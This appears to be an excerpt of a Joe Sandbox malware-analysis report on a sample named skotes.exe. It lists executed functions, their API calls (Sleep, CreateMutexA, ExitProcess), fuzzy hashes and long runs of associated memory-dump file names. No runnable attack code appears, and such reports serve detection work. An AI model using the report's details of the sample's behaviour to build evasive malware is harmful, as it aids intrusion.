Snapshot File: hcaresult_4_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 1d1671a99f061aa4e79fa56e415a2d43dfbd4e8e63dab465840c66a8ba2240e3
Instruction ID: 0353687fc318050c3c4c9c49816dd2f58225c7543bd1bafa4354c0ae6a7fb851
Opcode Fuzzy Hash: 1d1671a99f061aa4e79fa56e415a2d43dfbd4e8e63dab465840c66a8ba2240e3
Instruction Fuzzy Hash: F1213272A01119EFDF01EFA4ED859BEB7B9EF09710F104015F501B7291DB38AD019BA0

Function 007BF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 007BF3A3

Strings

`'~, xrefs: 007BF375
8"~, xrefs: 007BF44B

Memory Dump Source

Source File: 00000004.00000002.2183982105.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000004.00000002.2183963510.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2183982105.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184046156.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184065867.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184088288.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184211121.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184230704.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184255961.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184275654.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184338203.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184353935.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184372826.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184390537.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184414853.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184437914.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184456746.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184474771.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184494179.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184514890.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184537434.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184559007.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184579546.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184599295.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184620421.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184639173.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184654061.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184673422.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184695215.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184717096.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184736670.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184756657.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184777481.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184799325.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184817251.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184837419.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184854915.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184878201.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184898432.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184977123.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184999880.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185019364.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185033551.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185052704.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185069151.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"~$`'~
API String ID: 3903695350-10081231
Opcode ID: ca93e78b4ff8da7b16310ce28ffad3d6c9d157592c633bfaf2fa6875f1990475
Instruction ID: 57ce17a0b5eb027aa8e997ea0ce86c989c2f93aa9d63570e0661dc64cbfde434
Opcode Fuzzy Hash: ca93e78b4ff8da7b16310ce28ffad3d6c9d157592c633bfaf2fa6875f1990475
Instruction Fuzzy Hash: 58313931600646EFEB21AA39DC49BDBB3E8EF00752F14442AE459D7599DF79AC80CB21

Analysis Process: skotes.exePID: 7708, Parent PID: 7320COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1846
Total number of Limit Nodes:	15

Executed Functions

Function 007B652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,007B652A,?,?,?,?,?,007B7661), ref: 007B6567

Memory Dump Source

Source File: 00000005.00000002.2189593020.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.2189574271.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189593020.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189665137.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189685681.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189707432.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189827946.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189847762.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189872152.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189888140.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189961488.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189983634.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190006267.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190028791.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190056297.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190077555.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190099631.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190121644.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190145294.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190188880.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190222761.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190248174.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190271648.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190300164.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190324040.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190356300.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190380991.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190412037.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190439560.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190461970.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190484961.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190505953.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190601503.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190634767.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190809904.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190936562.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191049712.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191545517.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191599657.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191729857.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191772862.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191827965.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191873192.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191894309.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191916758.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: f188a2762d15927be4abcaed937d812f1a4cdb4bae25232fd3b15a4223d721f9
Instruction ID: b5ef9387bf539cf5a3439c193d56e4657a9506376ea3cd40ce779866d60413b6
Opcode Fuzzy Hash: f188a2762d15927be4abcaed937d812f1a4cdb4bae25232fd3b15a4223d721f9
Instruction Fuzzy Hash: 88E08C30005108AEEF367B18CA49F893B69EF11749F000810FA0896226CB2DEEA1D690

Function 00789BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000005.00000002.2189593020.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.2189574271.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189593020.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189665137.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189685681.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189707432.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189827946.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189847762.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189872152.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189888140.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189961488.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189983634.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190006267.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190028791.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190056297.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190077555.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190099631.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190121644.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190145294.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190188880.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190222761.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190248174.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190271648.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190300164.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190324040.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190356300.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190380991.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190412037.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190439560.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190461970.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190484961.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190505953.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190601503.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190634767.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190809904.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190936562.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191049712.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191545517.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191599657.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191729857.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191772862.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191827965.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191873192.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191894309.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191916758.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: cadac24598da3aadda956ab7888b256bad7a18e2b08ea89a1c160e5dcd127780
Instruction ID: 3acd935e4ba876ad065e6c9f5da97e491980f9c103d7395d7735c5164e39c8ea
Opcode Fuzzy Hash: cadac24598da3aadda956ab7888b256bad7a18e2b08ea89a1c160e5dcd127780
Instruction Fuzzy Hash: 51318A71644204DBFB18ABB8DC8976DBB66EBC5310F248219E114973D2D77E69808761

Function 00789F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000005.00000002.2189593020.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.2189574271.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189593020.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189665137.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189685681.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189707432.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189827946.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189847762.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189872152.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189888140.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189961488.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189983634.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190006267.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190028791.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190056297.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190077555.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190099631.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190121644.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190145294.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190188880.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190222761.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190248174.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190271648.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190300164.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190324040.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190356300.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190380991.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190412037.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190439560.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190461970.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190484961.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190505953.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190601503.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190634767.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190809904.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190936562.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191049712.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191545517.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191599657.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191729857.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191772862.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191827965.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191873192.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191894309.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191916758.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: 1f82af7c2ded2b2ffbc4c3fc4933df2bed45d87f9f5d29a9e4d96c894533b627
Instruction ID: 9684ad85bb69ca6de995ced43cfceb2c2065fba40d841c2a3bac640395b2ce40
Opcode Fuzzy Hash: 1f82af7c2ded2b2ffbc4c3fc4933df2bed45d87f9f5d29a9e4d96c894533b627
Instruction Fuzzy Hash: 8F316A31644104EBFB18ABB8DC887ACB766EBC5310F24421AE258DB2D2D73E69808752

Function 0078A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000005.00000002.2189593020.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.2189574271.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189593020.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189665137.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189685681.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189707432.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189827946.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189847762.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189872152.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189888140.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189961488.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189983634.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190006267.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190028791.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190056297.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190077555.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190099631.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190121644.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190145294.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190188880.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190222761.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190248174.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190271648.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190300164.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190324040.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190356300.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190380991.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190412037.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190439560.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190461970.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190484961.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190505953.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190601503.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190634767.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190809904.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190936562.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191049712.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191545517.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191599657.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191729857.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191772862.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191827965.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191873192.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191894309.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
